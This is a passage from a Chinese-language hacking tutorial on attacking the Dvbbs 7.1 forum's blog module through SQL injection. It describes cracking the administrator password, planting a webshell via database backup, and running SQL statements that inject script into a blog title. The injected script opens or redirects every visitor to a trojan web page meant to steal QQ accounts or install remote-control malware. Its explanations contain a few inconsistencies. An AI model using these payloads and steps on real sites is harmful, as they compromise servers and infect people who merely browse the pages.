另外,也可以直接運行“動網(wǎng)論壇7.1博客程序注入漏洞利用工具SQL版”,直接破解管理員的密碼,方法與Access版是一樣的。
可以看到,在SQL版漏洞利用工具下方有一個“SQL語句”的輸入框,在其中可以輸入SQL語句并執(zhí)行,比如可以通過SQL語句讀取注冊中保存的網(wǎng)站路徑,并可用數(shù)據(jù)庫備份的方式在服務器中寫入一個Webshell。這里簡單地講一講如何進行跨站攻擊。
首先,需要準備一個木馬網(wǎng)頁,這個網(wǎng)頁木馬可以用來盜QQ號,也可以直接種植遠程控制木馬,這里為了清楚地演示攻擊利用過程,就假設“www.sina.com.cn”為一個木馬網(wǎng)頁。在“SQL語句”輸入框中輸入如下語句(圖30):
update dv_boke_user set BokeTitle=BokeTitle+' <script>window. open("www.baidu.com"); </script>' where username=' admin'

圖30 插入跨站攻擊代碼
整條語句表示,更新用戶名為“admin”的博客網(wǎng)頁標題,標題的內容是一條ASP語句,可以彈出一個IE窗口。其中“<script>windows.open(' ' www.baidu.com' ' )</script>”語句是用來彈出一個IE窗口的,實際使用中可以將“http://www.baidu.com”更換為網(wǎng)頁木馬地址。用戶名“xiaoyao”可以換成任意想要更改標題的博客用戶名。
將SQL語句執(zhí)行后,會彈出提示,確認后,再次打開目標論壇中管理員“admin”的博客頁面時,會自動彈出一個新窗口,這個新窗口中顯示的頁面就是百度網(wǎng)頁;如果將代碼中的百度鏈接地址換成網(wǎng)頁木馬地址,那么彈出的新窗口將會是這個木馬網(wǎng)頁。只要有人瀏覽管理員的博客,就會被木馬攻擊。
不過,由于在Windows SP2中IE瀏覽器會自動彈截彈出窗口,因此也可以用其他的代碼進行跨站,如可將代碼改為
update dv_boke_user set BokeTitle=BokeTitle+' <script>window. location.href("http://www.sina.com.cn"); </script>' where bokename=' xiaoyao' ;
這里使用的是“window.location.href()”函數(shù),代碼的效果是當有用戶打開此博客時,會自動轉向到木馬網(wǎng)頁,不用彈出一個新窗口,因此成功的機率會高許多。
- 大數(shù)據(jù)導論:思維、技術與應用
- 大學計算機信息技術導論
- 零起步輕松學單片機技術(第2版)
- Hands-On Internet of Things with MQTT
- 自動控制工程設計入門
- 大數(shù)據(jù)技術基礎
- Expert AWS Development
- MicroPython Projects
- PHP開發(fā)手冊
- Multimedia Programming with Pure Data
- 新手學電腦快速入門
- 完全掌握AutoCAD 2008中文版:機械篇
- 基于敏捷開發(fā)的數(shù)據(jù)結構研究
- ZigBee無線通信技術應用開發(fā)
- 歐姆龍PLC應用系統(tǒng)設計實例精解